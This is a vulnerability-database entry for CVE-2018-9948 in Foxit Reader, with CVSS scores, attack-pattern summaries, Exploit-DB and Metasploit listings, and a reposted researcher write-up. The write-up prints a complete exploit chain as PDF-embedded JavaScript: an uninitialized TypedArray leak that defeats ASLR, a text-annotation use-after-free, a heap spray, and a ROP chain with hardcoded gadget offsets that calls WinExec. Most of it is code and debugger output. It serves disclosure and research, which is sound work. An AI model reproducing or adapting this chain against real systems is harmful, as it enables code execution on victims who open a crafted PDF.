Vulnerabilities > CVE-2018-9948 - Information Exposure vulnerability in Foxitsoftware Foxit Reader and Phantompdf

047910
CVSS 4.3 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
foxitsoftware
CWE-200
exploit available
metasploit

Summary

This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of Foxit Reader 9.0.0.29935. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of typed arrays. The issue results from the lack of proper initialization of a pointer prior to accessing it. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the current process. Was ZDI-CAN-5380.

Vulnerable Configurations

Part Description Count
Application
Foxitsoftware
173

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Subverting Environment Variable Values
    The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
  • Footprinting
    An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Browser Fingerprinting
    An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
  • Session Credential Falsification through Prediction
    This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

Exploit-Db

  • descriptionFoxit PDF Reader 9.0.1.1049 - Pointer Overwrite Use-After-Free (Metasploit). CVE-2018-9948,CVE-2018-9958. Local exploit for Windows platform. Tags: Metasploi...
    fileexploits/windows/local/45269.rb
    idEDB-ID:45269
    last seen2018-10-07
    modified2018-08-27
    platformwindows
    port
    published2018-08-27
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/45269/
    titleFoxit PDF Reader 9.0.1.1049 - Pointer Overwrite Use-After-Free (Metasploit)
    typelocal
  • descriptionFoxit Reader 9.0.1.1049 - Remote Code Execution. CVE-2018-9948,CVE-2018-9958. Remote exploit for Windows platform. Tags: Use After Free (UAF)
    fileexploits/windows/remote/44941.txt
    idEDB-ID:44941
    last seen2018-06-25
    modified2018-06-25
    platformwindows
    port
    published2018-06-25
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/44941/
    titleFoxit Reader 9.0.1.1049 - Remote Code Execution
    typeremote

Metasploit

descriptionFoxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability in the Text Annotations component and the TypedArray's use uninitialized pointers. The vulnerabilities can be combined to leak a vtable memory address, which can be adjusted to point to the base address of the executable. A ROP chain can be constructed that will execute when Foxit Reader performs the UAF. This module has been tested on Windows 7 x64, Windows 10 Pro x64 Build 17134, and Windows 10 Enterprise x64. Windows 10 Enterprise must have insecure logons enabled for the exploit to work as expected.
idMSF:EXPLOIT/WINDOWS/FILEFORMAT/FOXIT_READER_UAF
last seen2020-06-13
modified2018-09-06
published2018-08-21
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/fileformat/foxit_reader_uaf.rb
titleFoxit PDF Reader Pointer Overwrite UAF

Packetstorm

Seebug

bulletinFamilyexploit
descriptionAfter discovering over 100 vulnerabilities in Foxit Reader, I figured it was about time I shared a full exploit chain that defeats ASLR and DEP. The first vulnerability is an uninitialized buffer that I found independently and was later killed by bit from meepwn. I leveraged this for an information leak to defeat ASLR. The second vulnerability is a use-after-free that I found, killed and leveraged for remote code execution. ### TL;DR I walk through exploiting a two different bugs chained together to achieve reliable code execution on a Windows 7 x86 desktop against Foxit Reader 9.0.1.1049. ### Introduction Foxit Reader and PhantomPDF Reader are marketed as… ``` …Fast, Affordable & Secure PDF Solutions ``` However, as Adobe is aware, PDF parsing is a complex task and quite often error prone. Many vulnerabilities have been found inside of clientside PDF parsers and the fact that they need to support JavaScript creates an additional attack surface and greatly facilitates exploitation. ### Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability This vulnerability was assigned CVE-2018-9948 and published as ZDI-18-332 by the ZDI. It was discovered by myself and bit from meepwn, however bit beat me too it reporting it to the ZDI. That, unfortunately, is how it rolls sometimes. Let’s take a look at some poc code. A minimised poc can be see below that will trigger the vulnerability: ``` %PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( var int32View = new Int32Array(0x6c); app.alert(util.printf("Uninitialized: 0x%04x", int32View[0])); )>> trailer <</Root 1 0 R>> ``` After enabling page heap, we can see we can read back the (in)famous 0xc0c0c0c0 magic marker of where uninitialized data is. ![](https://images.seebug.org/1530254994302-w331s) There are a couple of things to note about this vulnerability. The first thing is that this vulnerability cannot be discovered via traditional fuzzing, since the application will never crash. I built a windbg plugin to help detect these types of vulnerabilities called bridgit. Bridgit is a JavaScript bridge plugin for Foxit Reader that helps facilitate with vulnerability discovery and exploitation. The other thing to note that all the TypedArray’s are vulnerable with a single allocation (just like the advisory states). We can confirm this by using bridgit. ``` 0:022> !py bridgit -o find_ub -s 0x6c Bridgit - JavaScript Bridge for Foxit Reader mr_me 2018 (+) setting up __CIatan_pentium4 bp (+) setting up __CIasin_pentium4 bp Breakpoint 0 hit (+) DEBUG ATAN: (+) enabling heap hook Breakpoint 2 hit (+) enabling heap alloc bp Breakpoint 3 hit Breakpoint 2 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 1 hit (+) DEBUG ASIN: (+) disabling heap hook Breakpoint 4 hit (+) disabling heap alloc bp (6b4.a60): Break instruction exception - code 80000003 (first chance) (+) found uninitialized chunk: 0x100bef90 address 100bef90 found in _DPH_HEAP_ROOT @ 6aa1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 111136b4: 100bef90 6c - 100be000 2000 718e8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 772461fe ntdll!RtlDebugAllocateHeap+0x00000030 7720a0d3 ntdll!RtlpAllocateHeap+0x000000c4 771d58e0 ntdll!RtlAllocateHeap+0x0000023a 028cee12 FoxitReader!CertFreeCertificateChain+0x013a2a32 0117810c FoxitReader+0x0034810c 024d122a FoxitReader!CertFreeCertificateChain+0x00fa4e4a 024d146e FoxitReader!CertFreeCertificateChain+0x00fa508e 024e7943 FoxitReader!CertFreeCertificateChain+0x00fbb563 100bef90 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 100befa0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 100befb0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 100befc0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 100befd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 100befe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 100beff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 d0d0d0d0 100bf000 ???????? ???????? ???????? ???????? (+) done! ``` After trying different TypedArray’s we can see that Int32Array and Float32Array are allocated from exactly the same positions, that is in FoxitReader!CertFreeCertificateChain+0x013a2a32. It’s always good to confirm exactly what was patched! ### Exploitation An uninitialized TypedArray is a very powerful primitive, because we can specify the size of the buffer, thus, we can clobber almost any other buffer that we can allocate and free. For those that are unaware, typical exploitation of an uninitialized buffer can usually be achieved by allocating an object of n size and then freeing that buffer before triggering the uninitialized buffer allocation. Where n is the size of the uninitialized buffer (in our case, basically any size). After some analysis, I found the perfect candidate and as it turns out, you can allocate an annotation object of size 0x5c, which, when freed is rounded to 0x60. ``` // allocates the annotation var a = this.addAnnot({type: "Text"}); // free's the annotation a.destroy(); ``` Now, we can combine this to leak the vtable of the text annotation. ``` %PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( // allocates the annotation var a = this.addAnnot({type: "Text"}); // free's the annotation a.destroy(); // allocate the freed chunk var test = new ArrayBuffer(0x60); var int32View = new Int32Array(test); // mask off the lower word var leaked = int32View[0] & 0xffff0000; // calculate an offset for version FoxitReader 9.0.1.1049 var foxit_base = leaked - 0x01f50000; app.alert(util.printf("FoxitReader base address: 0x%08x", foxit_base)); )>> trailer <</Root 1 0 R>> ``` After turning off page heap and firing the poc, we can see that we are leaking the base address of FoxitReader.exe: ![](https://images.seebug.org/1530255047263-w331s) ### Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability This vulnerability was assigned CVE-2018-9958 and published as ZDI-18-342 by the ZDI. It was discovered by yours trully. Let’s take a look at some poc code. A minimised poc can be see below that will trigger the vulnerability: ``` %PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( // create an annotation var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); // create an array with an element var arr = [1]; // make sure we can access the Document object var that = this; // setup the getter callback on element 0 Object.defineProperties(arr,{ "0":{ get: function () { // free the annotation that.getAnnot(0, "uaf").destroy(); return 1; } } }); // trigger uaf a.point = arr; )>> trailer <</Root 1 0 R>> ``` So when setting the point property of a text annotation that is created dynamically and we can trigger a JavaScript callback via a getter call on the first element in an array. In this getter, we can see that we destroy the created annotation, whilst setting a property on that annotation. This triggers the use-after-free and after running it with page heap enabled, we get the following crash: ``` (31c.f70): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=1911bfa0 ebx=00000000 ecx=1911bfa0 edx=18b08001 esi=193aaff8 edi=1845ffc8 eip=008ecfb9 esp=03b7e814 ebp=03b7e82c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206 FoxitReader!CertFreeCertificateChain+0x150bd9: 008ecfb9 8b01 mov eax,dword ptr [ecx] ds:0023:1911bfa0=???????? 0:000> u . L4 FoxitReader!CertFreeCertificateChain+0x150bd9: 008ecfb9 8b01 mov eax,dword ptr [ecx] 008ecfbb 8b5008 mov edx,dword ptr [eax+8] 008ecfbe 56 push esi 008ecfbf ffd2 call edx ``` This is classic use-after-free with no CFG protection vtable call, so all we really need to do it control the allocation. We already know that we can disclose memory locations. ### Exploitation We can disable page heap and set a breakpoint at the crash location to find the size of the freed object. ``` 0:018> bp FoxitReader!CertFreeCertificateChain+0x150bd9 0:018> g Breakpoint 0 hit eax=075619a8 ebx=00000000 ecx=075619a8 edx=37c08001 esi=076d87f8 edi=076d8de8 eip=014bcfb9 esp=0026e284 ebp=0026e29c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 FoxitReader!CertFreeCertificateChain+0x150bd9: 014bcfb9 8b01 mov eax,dword ptr [ecx] ds:0023:075619a8=02bc0147 0:000> !heap -p -a @ecx address 075619a8 found in _HEAP @ 6c0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 075619a0 000d 0000 [00] 075619a8 00060 - (free) ``` We can see that the object is of size 0x60 and we can use a TypedArray to take control just after the free. ``` %PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( function reclaim(){ var arr = new Array(0x10); for (var i = 0; i < arr.length; i++) { arr[i] = new ArrayBuffer(0x60); var rop = new Int32Array(arr[i]); for (var j = 0; j < rop.length; j++) { rop[j] = 0x41414141; } } } // create an annotation var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); // create an array with an element var arr = [1]; // make sure we can access the Document object var that = this; // setup the getter callback on element 0 Object.defineProperties(arr,{ "0":{ get: function () { // free the annotation that.getAnnot(0, "uaf").destroy(); // reclaim the freed object reclaim(); return 1; } } }); // trigger uaf a.point = arr; )>> trailer <</Root 1 0 R>> ``` Just after the destroy() we call reclaim() which will allocate 0x10 TypedArray’s of size 0x60. We do an iteration of 0x10 just to be extra sure we catch the freed object before its re-use. After re-running the updated poc, sure enough, we replaced the freed object and have execution control. ``` (df8.16b4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=00000000 ecx=073419a8 edx=24508001 esi=074a8068 edi=074a4270 eip=014bcfbb esp=0012e3cc ebp=0012e3e4 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210216 FoxitReader!CertFreeCertificateChain+0x150bdb: 014bcfbb 8b5008 mov edx,dword ptr [eax+8] ds:0023:41414149=???????? 0:000> dd @ecx 073419a8 41414141 41414141 41414141 41414141 073419b8 41414141 41414141 41414141 41414141 073419c8 41414141 41414141 41414141 41414141 073419d8 41414141 41414141 41414141 41414141 073419e8 41414141 41414141 41414141 41414141 073419f8 41414141 41414141 41414141 41414141 07341a08 58c64fcb 8c000000 00000001 00000026 07341a18 00000027 003a005a 0072005c 00730065 ``` At this point (get it, point?) there was a few different ways we could chain the vulnerabilities. What we need to do now is get some data we control into memory at a known address. Traditionally, this is with a heap spray and a predictable address that we can spray at. However, after pondering a little more it occured to me that we can avoid a heap spray entirely. What I had to do was leak a heap chunk pointer from the text annotation which was (ab)used for the uninitialized TypedArray. Then, reclaim that memory with a TypeArray, setting its contents to a stack pivot and setting the reclaimed object’s fake vtable to this leaked address, thus avoiding a heap spray. Surprisingly, this worked with 100% success rate. You can download the full exploit here. At the time, this was tested to work on both Windows 7 and 10. Of course, I also developed an additional poc with a heap spray just incase the heap chunk leak would fail. This one only works on Windows 7 though. ### poc-with-a-heap-spray-99-percent.pdf ``` %PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( var heap_ptr = 0; var foxit_base = 0; function heap_spray(size){ var arr = new Array(size); for (var i = 0; i < arr.length; i++) { // re-claim and stack pivot arr[i] = new ArrayBuffer(0x10000-0x8); var claimed = new Int32Array(arr[i]); for (var j = 0; j < claimed.length; j++) { // stack pivot from FoxitReader.exe v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68) claimed[j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4 } } } function leak(){ /* Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948 Found By: bit from meepwn team */ // alloc var a = this.addAnnot({type: "Text"}); // free a.destroy(); // reclaim var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); // leak the vftable var leaked = stolen[0] & 0xffff0000; // a hard coded offset to FoxitReader.exe base v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68) foxit_base = leaked-0x01f50000; } function reclaim(){ /* This function reclaims the freed chunk, so we can get rce and I do it a few times for reliability. All gadgets are from FoxitReader.exe v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68) */ var arr = new Array(0x10); for (var i = 0; i < arr.length; i++) { arr[i] = new ArrayBuffer(0x60); var rop = new Int32Array(arr[i]); rop[0x00] = 0x11000048; // pointer to our stack pivot from the heap spray rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret rop[0x02] = 0x72727272; // junk rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret rop[0x04] = 0xffffffff; // ret of WinExec rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret rop[0x0a] = foxit_base + 0x0041c6ca; // ret rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret rop[0x0c] = 0x636c6163; // calc rop[0x0d] = 0x00000000; // adios, amigo for (var j = 0x0e; j < rop.length; j++) { rop[j] = 0x71727374; } } } function trigger_uaf(){ /* Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958 Found By: Steven Seeley (mr_me) of Source Incite */ var that = this; var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); var arr = [1]; Object.defineProperties(arr,{ "0":{ get: function () { // free that.getAnnot(0, "uaf").destroy(); // reclaim freed memory reclaim(); return 1; } } }); a.point = arr; } leak(); heap_spray(0x800); trigger_uaf(); )>> trailer <</Root 1 0 R>> ``` The final exploit just uses a WinExec call and doesn’t bother to modify memory, since many third party malware protection tools look for memory modification techniques I was lazy. I did see a LoadLibraryW in FoxitReader’s IAT, hint hint. I didn’t bother with continue of execution (CoE) since I don’t work for an offense company anymore but all you would need to do is save the registers before the chain, return back to the stack after WinExec and restore the registers again, including the stack. FoxitReader.exe is 55MB in size, so finding ROP gadgets is a piece of cake for all of this. Anyway, on to the show! [video](https://vimeo.com/276758492) ### Timeline * 2018-03-01 – Verified and sent to the ZDI * 2018-03-24 – Vulnerability acquired * 2018-03-30 – Vendor disclosure * 2018-04-20 – Patched and disclosed ### Conclusion Foxit Reader still has relatively little protections against memory corruption vulnerabilities. The developers rely heavily on operating system mitigations. When you have a JavaScript attack surface, you best believe that operating system mitigations are not enough, application level mitigations such as CFG, isolated heap and a decent sandbox would have significantly impacted me in the development of this exploit. TypeArray's are simply too powerful againt most software products and facilitated immensely in the final exploit. They were used for the information disclosure (both .data and .text addresses), the heap spray and the object replacement.
idSSV:97395
last seen2018-07-03
modified2018-06-29
published2018-06-29
reporterMy Seebug
sourcehttps://www.seebug.org/vuldb/ssvid-97395
titleFoxes Among Us :: Foxit Reader Vulnerability Discovery and Exploitation